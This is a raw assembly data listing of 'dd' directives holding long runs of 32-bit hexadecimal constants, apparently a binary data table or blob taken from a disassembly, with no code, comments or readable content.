dd 2AF82C5h, 0C657D6ADh, 32A8F5F5h, 96F72711h, 0B161C422h
dd 6B0A79F7h, 0B12F5CE6h, 175E5E31h, 3F0BBA72h, 0CFCFCB0h
dd 0EDB5F0E8h, 16C5E309h, 318057BAh, 0FFEBA32Dh, 0C2A9115Eh
dd 0D79A3E13h, 896DAC23h, 45042CD2h, 38BC46E9h, 404EB4Ah
dd 0E71AD83Dh, 745B5640h, 0BAE5582Ch, 9D36C503h, 397A742Ah
dd 293DF921h, 0BA127CC8h, 2DFC20CFh, 1114F433h, 18B3EEC1h
dd 58877414h, 78E4E75Dh, 99991BDh, 0B4668D08h, 4BBC9C20h
dd 543DCC5Dh, 0A6D9F9F1h, 722D5A4Bh, 0BCFBF7B9h, 0D1BA0C94h
dd 3B0AF9Bh, 0B450205Ch, 51C18102h, 7FBEF4FDh, 7C9F705Ah
dd 11F150D3h, 0E9654D04h, 1BB3EF8Fh, 4421FE5Eh, 8D83175Ah
dd 40A011F5h, 96FAC47Ch, 1468A3A8h, 0E4314E5Bh, 48025D03h
dd 0F202807Dh, 0B5CD3CB0h, 0D208135Eh, 0EE2912CFh, 0C4BC5BD5h
dd 0C282BD84h, 0C1867C3Ah, 0B9E0D80h, 67105C2Fh, 0E0255B14h
dd 0DFDEA141h, 3A7E67B1h, 0F1BE2593h, 216A0411h, 1916CC0h
dd 0F1C9CE31h, 5650088Ch, 0E0416996h, 9782D701h, 7BC9B104h
dd 0D5183518h, 0D9778273h, 0F920084Bh, 7A6D02Fh, 814D8E1Fh
dd 64C51EE3h, 7C0BF842h, 2D400400h, 68731783h, 0F6D85B01h
dd 380D4278h, 5556AD5Bh, 42DEFE99h, 9CF4B8C7h, 0AFB00A44h
dd 0F4519D54h, 0BD0BDB73h, 1C79DA44h, 0AD75931Eh, 0EAD5F21h
dd 0AF57FB4Fh, 5DD28BEBh, 0A8681C51h, 6A0D47B1h, 2ADF8701h
dd 0EB2D0D7h, 0F42E8A3Ah, 0C0E7B0B3h, 2EFD058h, 0E90BC780h
dd 0F6056D40h, 0F313D305h, 605B8DBAh, 751719B0h, 5FE234Fh
dd 529D2903h, 1F44EED0h, 64AB4845h, 0B539FC81h, 58FAE6AAh
dd 0E6BB8479h, 492B99CDh, 607868C1h, 0C8CFF99Dh, 27B210A7h
dd 0E224652h, 0C7058268h, 0AF525849h, 2D2839EEh, 57040806h
dd 2936BC42h, 779D9BEh, 1CA0880Ch, 13355848h, 395FFBFh
dd 0D0EE12ABh, 225EC5A7h, 93644C2Ch, 0E0DF971Bh, 26757FE5h
dd 104711E2h, 86BF05CEh, 8EC1C83Dh, 0E804BC96h, 4BC9DEF4h
dd 518D54E1h, 6B7F6590h, 6F1EF8BDh, 0AE5B7DAEh, 47BF0775h
dd 1772081h, 0E7E94A03h, 2EC6D96h, 6202F4BDh, 1AE869ACh
dd 0C69F4C68h, 77DCB71Eh, 139B68FAh, 2D629B82h, 1C46BDFCh
dd 54D8F5A7h, 98F292FBh, 0BAC52D58h, 0EB025425h, 0F83765D3h
dd 4FE9E3EAh, 0EE77C4F1h, 0A85B5FE7h, 27C6012Dh, 0CABF0550h
dd 0F9290B93h, 28009360h, 3FF408F2h, 0D9ED0B2Dh, 5C291B0Ah
dd 5A988D80h, 33983B51h, 2FAD5758h, 257C51ABh, 0B93E6AD1h
dd 1ACCA27h, 54768C4h, 7C80E289h, 7D126133h, 0D8622A2Ch
dd 2DF025C3h, 96B470FEh, 17539BAAh, 0B2CC3ED6h, 353C40AAh
dd 2F2E91B0h, 0E102F676h, 0E0509B40h, 2574EA81h, 555214F2h
dd 8E410883h, 0CC22A14h, 9E8DB58h, 815AC92Ch, 0AD3DB33Eh
dd 2D956001h, 0D5201D37h, 71704335h, 0EED00E4Ch, 4D023017h
dd 0FDA2DF05h, 38E1DFA5h, 5709CE3Bh, 30832027h, 0E688ACF4h
dd 88DDE2FFh, 0BE2F992Dh, 0CFE925A3h, 62AD2087h, 2BD7B3EBh
dd 0D029004Fh, 97FE2913h, 0EE819D45h, 3D420FE0h, 805502Eh
dd 81A9A94Ah, 2C377F19h, 467800F7h, 0E9307475h, 44946156h
dd 78F4048Ch, 0DA95BBh, 592587BEh, 8896BD2Bh, 4F6C08E2h
dd 0C4725625h, 4CB2F808h, 7BAC4F4Dh, 683F4342h, 0A19A2EADh
dd 81635061h, 6141CDC8h, 0CB2F5DC4h, 72DE00A1h, 66E93D4Fh
dd 50B59EF9h, 8082F3E3h, 0D61D3204h, 8972BF73h, 19130882h
dd 977CE9Fh, 0DCA7A0CEh, 6A857959h, 0AA7ED5D7h, 3888426Dh
dd 7C25C5EEh, 0B6F2A581h, 0C2F90CD2h, 0BDAB6812h, 17221224h
dd 0B75686B4h, 0C6D8E318h, 0ED0E92B4h, 0B8F563E8h, 80EFAD28h
dd 44B151FFh, 5E0DF1FCh, 3C81DEE9h, 175F7034h, 0A3694068h
dd 314E0F39h, 7E9E2E1h
dd 0D173DC70h, 680D8998h, 0F75862E3h, 0DAD611CEh, 73C5CAFBh
dd 805E4A86h, 2DC1BB37h, 1FB510Bh, 0E513AED3h, 0B2D11980h
dd 4DA0C321h, 5EEE40D6h, 64E69B8h, 45A2C6C4h, 684CA497h
dd 5943BA25h, 0FEB180C2h, 8893C180h, 1D59CB3Bh, 56AFD2F3h
dd 0D0B6C10Ah, 7FF63E30h, 680A5F42h, 802C3F45h, 0EFC0E0B7h
dd 0B2035207h, 8BB05067h, 0E820DFD0h, 7340A2Ch, 0E9C2304Eh
dd 0C422EB35h, 0D4415AD1h, 6D9970EBh, 0F39CF9F2h, 97C80158h
dd 0B750ECFEh, 5B4082D7h, 1200699Dh, 6DED8122h, 321DB13h
dd 0C15DEB89h, 60E708E3h, 549E6B47h, 1200C3ECh, 0F77DE467h
dd 4F93E9D3h, 0BA6D5C2h, 1854CF65h, 0C1782D40h, 0F7810214h
dd 718534F8h, 0CFCC80D5h, 48C9049Fh, 6D049E09h, 8034DB48h
dd 0DF90B29Ch, 400E9858h, 0EB82FDD4h, 6B1ACA82h, 15AC87Fh
dd 20F0A4CBh, 0AC14CC98h, 28A6E804h, 8200DA05h, 0B353C1FEh
dd 0F6EBC0FBh, 0B5B8C4F6h, 82520AD2h, 0CB0DE601h, 0E02A8929h
dd 9195D51Bh, 127F07A0h, 0D3E8F248h, 0A3AA6BC4h, 21E98204h
dd 72FBA079h, 9D7B6658h, 6E061441h, 17B8E4C5h, 342B190Ah
dd 43F60099h, 0E947492Eh, 7E0A752Dh, 0EB8078C1h, 6EE6DA61h
dd 0B8CBD2F6h, 0FB05EAC0h, 2082C3CDh, 66D328B5h, 7C897841h
dd 7281D207h, 0F4639A9Bh, 5EC6F84Fh, 61842CE9h, 0D89390B2h
dd 2B4D1D68h, 37238521h, 0AC012053h, 0A03A9A3Fh, 0DDF5AF42h
dd 0DA955EC4h, 895713D9h, 7480BFEFh, 4B5D5AD0h, 92F0BC29h
dd 0A66E83A1h, 20EBD658h, 0F381E9BFh, 249D79BFh, 0D0963E56h
dd 5BFFFCE1h, 6804E0F2h, 0F945283Dh, 51CA05DFh, 968272DFh
dd 0FD33807Eh, 434DC4Ch, 41649705h, 5A81EF53h, 1305E88Bh
dd 2D80B98Fh, 0E926905Bh, 46C86FF2h, 42BC476Ch, 8AE0FA00h
dd 0ECBBB53h, 47C7C92h, 7767D0E9h, 1DC2EB14h, 0C60888C1h
dd 4ED7F809h, 8B4BBE3Eh, 375CCBB0h, 0BA7D5C2h, 2620325Ah
dd 832D07A9h, 0A20D240Bh, 1AD74069h, 937576F1h, 0C98D25Ah
dd 5C030B50h, 0AE68F9F7h, 0F3FA8434h, 0A84E7C0Dh, 1FF25EEh
dd 341DDC52h, 8EC8006h, 0E90BE26Fh, 8C2F4AC0h, 404E334Eh
dd 5B2721B3h, 0C105B884h, 6E61DD1Eh, 73261E8h, 0D940E80Bh
dd 5D17A3B9h, 2A85FCF9h, 0C355BDA2h, 0E9839133h, 0D05F07Eh
dd 0E2865BFAh, 2837D2AEh, 2F8AC841h, 0E9022243h, 0B729AD7Fh
dd 388FD63Eh, 4929673Bh, 91B25096h, 38F28012h, 0E985AE01h
dd 412B70E7h, 5910DC6Ch, 38C72E0Eh, 0D43623Bh, 7EF0220Bh
dd 29492028h, 65BF08B2h, 0B7FAE285h, 2DA86CDDh, 0D0303ED4h
dd 2EBF6BD5h, 0D9BAEA6Fh, 0B70F9A5h, 3AD7BF3Ah, 68F9F7D7h
dd 7EB1E942h, 867627F4h, 6334E9D0h, 0DAE7B1B2h, 0C0550FFAh
dd 26625965h, 0F66B1Bh, 0D08F84C0h, 64F5B9E9h, 0A3EECA0Fh
dd 0C4A0B892h, 201FFBEBh, 3817703Eh, 0F2FF4CC4h, 510A1961h
dd 9E20412Ch, 532A1383h, 3400FFF5h, 30BB102Dh, 0C07CFAACh
dd 779ABF9Dh, 46B724E8h, 0E4F60FBh, 4D9216Ah, 4CE6DC95h
dd 0ED13B40Ch, 0B01E31Ah, 6F9915DCh, 80E502Eh, 0A8715F2Fh
dd 7BAD2264h, 2FAEEA03h, 0F2B023BCh, 0B23E4453h, 91C2022Ch
dd 7C78EF2Bh, 0FB9B1A94h, 0E28ACB10h, 50C789C0h, 0F6252F07h
dd 78C65959h, 0D706EA6Fh, 60971144h, 4F133102h, 7A74F139h
dd 0AD42CDB1h, 6BB10368h, 0A957A7E2h, 99CCD56Ch, 4B001DFCh
dd 68526234h, 4A4E5BD0h, 8C4C8023h, 0F5E0B22h, 0AD4FD3E8h
dd 0D407304Fh, 76AF7320h, 181EFE63h, 4E582A5Ah, 0BF3A48E1h
dd 8999A711h, 876C7FA6h, 1E77B20h, 713CAD35h, 943F0552h
dd 2781ED5Eh, 0A9A4691h, 4DF1476Ch, 695759B8h, 1C8D81E2h
dd 0D23A6FF9h, 0A6A910F7h, 0F5A5986Dh, 2E96439Eh, 0AEE5108Ch
dd 0AF681350h, 83863775h, 17922906h, 27B97A1h, 62C8C698h
dd 1970FFE9h, 0FD82ECB7h, 52C6413Fh, 7F393275h, 8E7C415Fh
dd 2956CC1Dh, 0A67A76BEh, 80DD1993h, 0C39C205Eh, 74E081C9h
dd 80BCC242h, 775B050Bh, 7C583782h, 5B4E30DFh, 7B90921Ah
dd 935C63Dh, 0D729F4DCh, 2D018F16h, 37C6206Bh, 0AD7F50E9h
dd 18EB047Bh, 3EC2C089h, 3379DFECh, 87A80164h, 0D5F8B585h
dd 204EC12h, 55053CEEh, 40786323h, 0D8590888h, 3661238h
dd 0F926E827h, 5A2AC21Dh, 43625F07h, 44455FB2h, 0B3BA7B8Ch
dd 4E8C01F3h, 0DD2140DFh, 84C49C5Bh, 0F420910Bh, 0C152440Ah
dd 1485995h, 0D3C1FFB2h, 0C081E82Eh, 53DA8852h, 0FF514A50h
dd 5FE94542h, 0A8BC7E1Bh, 8DC909A4h, 5D833C71h, 89006632h
dd 8F780EF2h, 95D52961h, 0BD012759h, 2CA95617h, 0C85FCE78h
dd 260F2D9Ch, 1F44FD36h, 7E00854h, 3AEF5B2Bh, 0A79AEE97h
dd 29955A0Fh, 27C3F853h, 7E444431h, 0CC20AEB0h, 505C25DCh
dd 301773FBh, 5F5ECFC2h, 4AC23973h, 2533CCD9h, 90CC5456h
dd 1555339h, 4E3BEF68h, 0E82B5B27h, 0F5D73F09h, 980C1760h
dd 0BD5CA942h, 2BF94FBh, 2E0B7BF5h, 0B72D584Dh, 0D0691056h
dd 2F5679B2h, 8676326Ah, 0F54EE958h, 0F3200A94h, 0FBEDC016h
dd 0C4F6860Fh, 4FBF38ABh, 0F465E308h, 7291EFFDh, 0D83A1CECh
dd 0F769D6F1h, 85B74EEh, 0B1245B57h, 0E3685319h, 4D0882Ah
dd 8CDBD6BDh, 0CE96EE89h, 597FCA07h, 6E4C16Fh, 203AEC86h
dd 24C0AC92h, 0A63633C3h, 41AF9041h, 8D2C2075h, 5FAA273Fh
dd 0EDC4C4B2h, 40050106h, 50CA9A7Fh, 5B0DFA79h, 0E4278D43h
dd 2F926725h, 17278C07h, 0E8B25729h, 2D6CE540h, 0DB09FA7Eh
dd 0BCDA799Fh, 54FAA597h, 0A2F3FFFh, 0AC173104h, 0F4708AF1h
dd 43015112h, 2E4E6D03h, 2E33E6D8h, 0DFA3F55h, 78DB4BD7h
dd 93321526h, 3EF04CA6h, 34281662h, 0DE6E04EEh, 8B5A18C1h
dd 23C82C3Dh, 7289006Ah, 0C5E97842h, 0DF276A97h, 3307FFF0h
dd 31247BA6h, 0BD3F60ECh, 0ED062AC4h, 7BF47963h, 25B01C0Ch
dd 0DE49AFFCh, 0F979C615h, 5F3EE085h, 9A101EE8h, 0C1BB02EEh
dd 0F83D660Fh, 315A173Eh, 1181FAC3h, 5101A37Ch, 287DDD56h
dd 41680AC2h, 0BA402D2Dh, 90630172h, 0AECE31C6h, 0F029465Bh
dd 0DE4F0927h, 5B8B1FECh, 0CDCEB760h, 62694412h, 6F2ECD01h
dd 0E13F674Fh, 0B4443C41h, 302D2000h, 74404E6Eh, 0B9D2B5E9h
dd 0E1A4C14Ch, 5F30CB89h, 0EFC9D318h, 6569E58Eh, 0AA2084C3h
dd 555E42h, 4F6857B7h, 304B2538h, 0BF84F4E4h, 0C5BDFEF0h
dd 0A2E188F8h, 77005612h, 261642FAh, 0F0914E58h, 0CF4A5D9Bh
dd 929F71A3h, 5DE34948h, 27904h, 81D7DEB8h, 251FBCCCh
dd 39E996E0h, 2DFEE64Eh, 6CB7F9D5h, 5CBD0212h, 0DF62853Bh
dd 0A0F50220h, 0B72C53FDh, 75AF5D52h, 0FE6638A5h, 0AF4CF3E2h
dd 0FC45A50Fh, 0ECA3AF3Dh, 0AB856D98h, 525CA461h, 8988322Fh
dd 0ADEEE3A0h, 4E604B28h, 397AF80Ch, 117CB74Ch, 0CD00820h
dd 19255814h, 594E2E7h, 0E867E53Eh, 12B52573h, 40BC43A8h
dd 4D29EF0Bh, 0C1007D46h, 505A66ECh, 12C1B353h, 0D888D1F3h
dd 9DA69760h, 0E3803B66h, 0AC81AB75h, 947F8DD9h, 0F501EB8Bh
dd 0B9B692Bh, 5F6AAD20h, 6FBDB011h, 64E92013h, 0FC6625C3h
dd 0F6A8A83h, 8029F30Ah, 0A50F0949h, 8EE005C0h, 0B04E96E9h
dd 11082035h, 3CF425F2h, 0E7B80227h, 64DD5C96h, 6616D21Dh
dd 4A2625Dh, 17A0928Dh, 5548BF5Eh, 0D77D6C7h, 0F6E86E5Bh
dd 0FE42112Dh, 0FDE99B74h, 0BB94F416h, 6290FD69h, 27CEB8D2h
dd 0FFDE49FBh, 8754DAECh
dd 270BBDA4h, 2F63C03Fh, 0F8D5AEEAh, 365B51Ah, 80F2B050h
dd 5CE9ECEDh, 5522A2h, 613F528Eh, 0FBF5750h, 6F0D28C5h
dd 6790F7A1h, 2540F668h, 5A2460EDh, 0C202423Eh, 4A4CE334h
dd 0A0E45F61h, 1250B60Ah, 0EE00D123h, 0E9BD62A0h, 0FCB15E77h
dd 0D682E480h, 80660480h, 0FD88F380h, 0D44BDDF6h, 0C142D691h
dd 7D010105h, 87E0143Ch, 721C5A90h, 577043Bh, 5EFB5FC0h
dd 7404ADDh, 0A28EEE69h, 52EA3EE8h, 77B3005Dh, 0B8723751h
dd 40D03879h, 0F3D8A0FAh, 0B4E59865h, 0DABA0140h, 70669D47h
dd 0F995EA58h, 8EE4441h, 17461334h, 218EE0CCh, 792DFB5Bh
dd 2DB4A82Bh, 0D565E2A6h, 0CDE27845h, 83D27DDDh, 2D2B5313h
dd 6F0B66EAh, 0D4D0E917h, 68C738BBh, 0DD0FA926h, 1AC4CA6Dh
dd 0BCFFBA2Dh, 38B6806h, 3327E90Dh, 582D40D3h, 84255B9Dh
dd 0E474A868h, 0B5D2433Ah, 0F24700FEh, 23AA293Ch, 375A81B8h
dd 0E2E715B8h, 0D102CC91h, 3C66D5E2h, 0CFEFF205h, 0D7800C15h
dd 419C2585h, 9910464h, 96825A08h, 0C4571C07h, 30792577h
dd 0DEEB24FEh, 9CF52DEBh, 0B714BC4Fh, 0DC280C1Bh, 4AA7271Dh
dd 0A3A1724Ch, 985C9DE7h, 0A5A41413h, 0F1EA07C6h, 4F210512h
dd 457C18BFh, 1B120AE5h, 1F0833F4h, 4891331h, 14834406h
dd 9F2314D5h, 79EB2F95h, 6F5B4988h, 1A68C307h, 0B2B89C4Ah
dd 40E253BAh, 254AA384h, 99686AEFh, 5424172Ah, 2068930h
dd 20367B1Eh, 0BB04A737h, 2E49218Fh, 43140BFEh, 6FD97780h
dd 0A7BD08DAh, 0CDB23DDCh, 0B8E0F556h, 0FF30676Ch, 0BA521E26h
dd 0EF1F134Fh, 361E013Bh, 2C0EFECFh, 0D49773B4h, 3F2D50FFh
dd 28D25304h, 3F84D829h, 5BE90802h, 0E12BD6ECh, 2A749E68h
dd 4FBF228Ch, 8135ED63h, 36DD7D6Ah, 0D4D256F8h, 79110842h
dd 258049EAh, 0BFC14061h, 5E2E0009h, 0EEF8164h, 0E84F7BA9h
dd 0EA3A13BEh, 125FC48Ah, 0CFCFFF8Ah, 0A3C8F94Fh, 19B64468h
dd 37320ABFh, 2AAC0A7Fh, 87661CC4h, 0D468C4D7h, 57A4EB22h
dd 6F403FBDh, 0E4EF319Fh, 50026309h, 0DC52E12h, 5DF887C5h
dd 216E02F2h, 0E8D1661Ch, 254340DDh, 0D05356B2h, 0FD08BDBBh
dd 7CF23282h, 68F560E9h, 4AFE6810h, 2C968F64h, 6801135Eh
dd 11676F2Ah, 5891C03Eh, 61E5E70Eh, 0FF1FE87Fh, 0F54F4228h
dd 0CD6D081Dh, 0F7ED84FEh, 2AC15613h, 7C66D1A4h, 0B52D5B40h
dd 72D52Eh, 0B71D2A6Eh, 0A02FE912h, 4C61D6FEh, 0C3BF0206h
dd 939FA1Ah, 630A07F4h, 5560BE2Fh, 3F7B4C68h, 671261D2h
dd 0B4A9F8D3h, 4B2633C1h, 0E23EFC4Dh, 0C605926Fh, 37AF5D1Fh
dd 0ACD48455h, 0A2AFF58Fh, 0A553C4F1h, 0F1038710h, 29BA1097h
dd 3F765DE2h, 0A313AC1h, 0C4850A2Eh, 685B85BCh, 82F5D54Bh
dd 0BE004E78h, 0C4931B69h, 0AA7E5C4h, 64895A58h, 0F7105D9Dh
dd 0AC256E8Ch, 8937E09h, 0B90949D8h, 0C100C28Fh, 2055519h
dd 3762E6FCh, 0DFC1DE80h, 0C51632FEh, 0BCEDCD29h, 321269Eh
dd 1BB45A4Ch, 0C9FFE9D9h, 4AC53EF2h, 0E90738BAh, 98A43637h
dd 0C2D82863h, 8422F5D3h, 0BE61D989h, 9AA052Dh, 0FD7923E8h
dd 7FF1C580h, 4B01619Fh, 32ED98FDh, 0E6313E2Ch, 7DA6850Bh
dd 4D5D6B19h, 53D76044h, 0F0609CA0h, 80288982h, 171380B4h
dd 9520980Bh, 0D1DDF242h, 0C3DB62D0h, 6CFB4CA9h, 0BA6EE984h
dd 579C8B0Ch, 0A29F6390h, 619EC25Ah, 0A57E5BEAh, 0E9080169h
dd 2609DF1Eh, 551C5721h, 0FDA8B6CEh, 2601B850h, 0E93A237Eh
dd 0C00087A1h, 6F008EAh, 54B74570h, 4ECE4D9h, 8BEAA927h
dd 89985EA4h, 5689B8C8h, 5D3424C9h, 7791EB89h, 0D781D0A7h
dd 0D83BCCE6h, 108F212Fh, 0C33B99Eh, 0BE6D6401h, 996B609Ah
dd 0F683D06Ah, 0CAB82540h, 49CCE4EDh, 0DA61F030h, 5B96F466h
dd 5AF7FC26h, 3D8C50EFh, 49A0C5C4h, 634AEAh, 3857E4AEh
dd 3D18C267h, 0FBD4DF7Ch, 1C340848h, 78E91402h, 89CD90FAh
dd 18342D1Ah, 5803A489h, 1E28DF0Eh, 0C45EEB51h, 0E9C243F6h
dd 0EA748FAEh, 0CC11D582h, 8922F975h, 307F54FDh, 9B0CA78Ch
dd 36792788h, 4EA9EF13h, 0E9F70103h, 8A3FDAA5h, 0AFF5025Ch
dd 0C26F8607h, 0FC34DD09h, 0D7D5BE00h, 8BE943CFh, 4920CA7Fh
dd 9BDF02B3h, 0BD5A057h, 876DE1BDh, 841AB37Ah, 0AF169B3Fh
dd 77DA6A09h, 0D44EEA98h, 438E97DFh, 572D1C36h, 7E28F914h
dd 0FD6B7D01h, 5842FE06h, 8D402AE9h, 0F0F97D29h, 121713FAh
dd 0BE140D53h, 27EAF56Ah, 0FD445A47h, 5E0EBA43h, 8D2B68C5h
dd 4E9BF887h, 38D6DBB5h, 52751931h, 0B9F250E3h, 2A0B60F0h
dd 82D9F75Eh, 8201C182h, 0DFC9444Eh, 965FDD12h, 558026A0h
dd 6E506D0Ch, 0BA6352B0h, 40B681B0h, 5C2846DDh, 0E351E713h
dd 0A6F55B34h, 526E49F5h, 5F5406FCh, 0C6FA296Eh, 54E45113h
dd 88950EAh, 4403CF40h, 79FDD3Dh, 1A077CFDh, 24D0D86Bh
dd 8F76EBB6h, 0C8C769F2h, 24CA606Fh, 4560F36Ch, 7622C418h
dd 10B90571h, 0FB066F09h, 0DD05A695h, 0C8B8BDE9h, 45F3502Dh
dd 0EDAFE961h, 0D5F66C80h, 0E668EA86h, 55F3364Bh, 0DD50E82Dh
dd 0E977F306h, 1249421Bh, 1F4A01EAh, 2C3CC1C8h, 20D331DFh
dd 0A940E1A0h, 4DF07721h, 0C109511Ah, 735406EEh, 6E99C681h
dd 74283B07h, 4D83116h, 0A3602DA1h, 0E83252Dh, 169116E8h
dd 0F93F99CBh, 29708B6Bh, 2C53DE57h, 7FC9006Ch, 2057E78h
dd 150E3112h, 59266EE2h, 2DE71FE3h, 4E8BE1D9h, 8179449Dh
dd 4F285CD4h, 0C9D0301Dh, 0AC7AA759h, 0D10D1D09h, 5D7AB277h
dd 178990D1h, 2D894B98h, 0EEF85F24h, 0C02E4F01h, 5BDF211Eh
dd 485FC06Bh, 624EAE7Fh, 0CA0218F9h, 299416D1h, 0B7BA1D00h
dd 0D588BDEDh, 57123BFFh, 0EFBBC37Ch, 0D3096E10h, 0BA82AA4Ah
dd 1192A939h, 162E06C4h, 799DAF08h, 162B9CF9h, 7A3DAEF4h
dd 5C093524h, 0DB2AE6C2h, 0C156BFBEh, 31F03A39h, 515608C6h
dd 65C4EB20h, 0FA298F1Dh, 2AAA0716h, 16609D3h, 747940EBh
dd 41D3980Eh, 0D52B20B9h, 5BB6204Fh, 2015D411h, 4BC6A30Ch
dd 3C6DFB12h, 0B47DB87Fh, 0AED325EDh, 578E1C44h, 307B912h
dd 0B9F0F188h, 0BCF5F731h, 20130EAFh, 84A1FC97h, 0BDD82D49h
dd 4A36B20Ah, 52DE947h, 0ACC6A5FEh, 0D2415681h, 0EAA40005h
dd 0D7E6F905h, 0F1D32927h, 3CE26B78h, 6EA9B57h, 0F2552DDCh
dd 70EA0C32h, 198620h, 2AA4659Dh, 0DAE9DE31h, 0F273BC5Eh
dd 71EBF258h, 7468846Ch, 2131BF08h, 68531869h, 616FE35Dh
dd 0CEE9A108h, 31F835F3h, 4A2C22C6h, 97F69EFh, 0AA9A5406h
dd 0E9C3D9A2h, 0A4BA830h, 0C97CF6CDh, 673C1E15h, 0E10D0B92h
dd 6EA72D11h, 787EFBA3h, 88219307h, 3C905519h, 84145F25h
dd 12886813h, 98105FB3h, 0B5B01769h, 5AB981AFh, 28742080h
dd 0A2A18E9Dh, 754EAD68h, 3D402D1Ah, 772AE9D3h, 68043B37h
dd 39F82DA1h, 0E7805BFDh, 2E195628h, 0DD16E913h, 5FC2A3A9h
dd 0BCC2E3D1h, 0F6218B5Fh, 4CF7D278h, 0EB535EECh, 8F7F4329h
dd 80345FAAh, 5CCB9CEBh, 4C4A687Eh, 834C96F6h, 0C3A11E25h
dd 20EE81CEh, 3D7D48B4h, 0A1E7EF27h, 8F5A55CEh, 6ED23088h
dd 9C1E5A3Ch, 20AD324Bh, 0F694B05Eh, 34F2C2D0h, 33FF88F4h
dd 88E3EA2Fh, 0DA01D4B9h, 3BB3535Bh, 55920271h, 1EF0EE51h
dd 89592549h, 0BB616B0Eh, 892EDB69h, 10624780h, 83ABE31Bh
dd 0E7CA2602h, 406E5D56h, 2647DCCEh, 2C96743h, 600A78AAh
dd 0F1FF78C2h, 7AFAAA54h
dd 9DCBACBFh, 3A2C802h, 55CC1A7Fh, 0D9246459h, 31FA7613h
dd 2B21F371h, 6FE92AD8h, 0F1E5432Eh, 0BB0F533Bh, 2752508Ch
dd 5078E9h, 589DF9BFh, 5D81FA91h, 14D1813Fh, 3CA27FF0h
dd 60BF9240h, 0DCC6416Ch, 83B8481Bh, 4D452A09h, 0EE805526h
dd 3DC455E1h, 0CDE94F09h, 6ADE912Bh, 9C29166Fh, 0C9415530h
dd 0C24B216Eh, 0D91D8BE4h, 6CC62995h, 4E75B067h, 8286D41Ch
dd 0E40CF4C2h, 13615C3Bh, 87A0E46Eh, 0BBE91B68h, 5ECA859Fh
dd 16DFAEF8h, 0EE7B52E8h, 5D9FAFD0h, 0B0094F3Bh, 0B027E4DCh
dd 0E11F197h, 0FC377CE9h, 8468C25Ch, 24804625h, 2B05D54h
dd 4EAB1E6Ch, 2D42FFB2h, 66AAF940h, 2DFCF89Fh, 0ACCE922Fh
dd 0C1375C95h, 0EC6A031Ch, 0E970DA29h, 0BD1AAC60h, 0FDA43339h
dd 1473743Ch, 0BB951D0h, 30E4E84Bh, 3D9E145Ah, 0AABB074h
dd 4D33BAE1h, 680C0CF8h, 0FE48F165h, 6025322Bh, 38B5A6Ah
dd 69C071D7h, 0A5EAE2D1h, 51971250h, 21BBC4DBh, 42AC28F7h
dd 0F2923B6Ch, 5F79B341h, 2568FCB4h, 0FBF10447h, 0F817D582h
dd 25C7D628h, 41E54A50h, 254AE90Bh, 2A102148h, 975596D8h
dd 3B5109D6h, 0FE4DBE34h, 3EBB7AF5h, 0BE1336B1h, 0AB4020B2h
dd 103BC420h, 0A6F6804Eh, 177BCC7h, 6C0498F2h, 2D1CCB97h
dd 41C2C81Eh, 5D86DFCBh, 18D60032h, 0C267762Dh, 1015490h
dd 4B6057DEh, 0BFF19EECh, 13595086h, 0ED090C02h, 6A6F5539h
dd 0A6080F12h, 94617CDEh, 0C3FC2748h, 4F4500ACh, 0EEE132E4h
dd 92859FB2h, 8287655Bh, 475F96FBh, 90BD0370h, 7A260956h
dd 68868006h, 0E03B4FC7h, 6B53B637h, 25625C00h, 64B84FDDh
dd 3CC4DEB0h, 0A2AC070Eh, 0F62B54C9h, 0FFC29EC5h, 26B7A93h
dd 143B2B7Fh, 9974D9F7h, 75E4F182h, 0EA89822Dh, 0FB8A0B89h
dd 63F203D8h, 906956FDh, 0FC080204h, 0D77B0BDBh, 44FD4309h
dd 7D68187Fh, 0ABB51B64h, 0F76924B9h, 83FC8C42h, 27E5F408h
dd 4EA3A7Dh, 31AF699Eh, 68D76A33h, 8A02D639h, 46179368h
dd 9577950h, 153C630Bh, 0F19B2E90h, 40904AB7h, 25897054h
dd 0EA57640Eh, 0DFA9848Dh, 0AE4A82ACh, 4720A8DDh, 0C1326329h
dd 0D72C7EF9h, 60098EEEh, 0B1B250BBh, 0AA8AB5D0h, 0EFA01E17h
dd 8FBBD22Ah, 305C1F03h, 65665D65h, 77A5B42Ah, 4D8AD1F1h
dd 28C21987h, 86704944h, 3B2FFEE9h, 0D0AAD186h, 95590A5h
dd 729C276Fh, 0E3B57D00h, 29065624h, 0C3F5E9CFh, 5E687B51h
dd 63268C30h, 3A115C00h, 40E5BE56h, 0F7521CCCh, 4ED68CDEh
dd 0A2AE90Ah, 3590ED96h, 0A12F45A6h, 0A8626892h, 652A092Ch
dd 16F4FE89h, 1EABD10Ch, 29D2972Dh, 0E3B86FF9h, 0BE1DAC30h
dd 0D7312C62h, 0CF0D326Ch, 6882D178h, 796C208Eh, 0C92EFA09h
dd 24A2F812h, 3BF50657h, 5701AA4Bh, 74E16BBBh, 6F07897Eh
dd 82A42DE8h, 0D17DD769h, 0BD5560E4h, 39017F2Ah, 0B365B90Ah
dd 66781C91h, 0D400A45Ah, 0A205F45h, 4B35FC56h, 9688E987h
dd 4BAAD5BEh, 9001DFB4h, 411601A1h, 2AB1ACDCh, 0BB970EA2h
dd 490DF662h, 0F44254B3h, 0E6EB23DCh, 89BA68B8h, 565A9Fh
dd 25156F94h, 0FF204A2Dh, 7D141C5Ah, 0EA570605h, 703ABD66h
dd 37DC26B0h, 4B1B10D5h, 0A7AC5AC4h, 0E4502137h, 5880D18Fh
dd 74B02A53h, 0C917171Fh, 612CE032h, 1ACA790Eh, 1CBBAEE9h
dd 26F5E727h, 94DD2F18h, 36B0A056h, 9D9B7379h, 88186DAh
dd 50B22E5Dh, 27AAE982h, 0DB09044Ch, 6B7347h, 0CC3DA25Ah
dd 0CF58900Ch, 8D62B4ACh, 436029CDh, 5E819910h, 3116F676h
dd 2D2ECAC6h, 0CCA85C56h, 96BA2D7Dh, 6C38B900h, 0CA294E25h
dd 87D9559h, 0BA340B09h, 92DE6F91h, 0F2805800h, 31EC355Ch
dd 5FFAC103h, 6AD471h, 2DD0F73Ch, 83274A0Eh, 3554E026h
dd 1F561602h, 3213BF64h, 985297A0h, 17E75A37h, 0E9E744Fh
dd 0EAB3FDDBh, 0B4AEF61h, 240FE05h, 3337612Eh, 59CE2709h
dd 4E288EF8h, 6801F251h, 63C278F0h, 0B3E77E9h, 0CB715CD2h
dd 0A3BA8B3Ah, 0ACCD02ADh, 93465F5Ah, 5FB620F2h, 75A26804h
dd 8E51B1A2h, 77237E21h, 0D466BF4Fh, 62FB9717h, 7DA715C2h
dd 0DEE3AB18h, 0F031A1C4h, 4D30E8D9h, 0B2DCBAAh, 5925EC14h
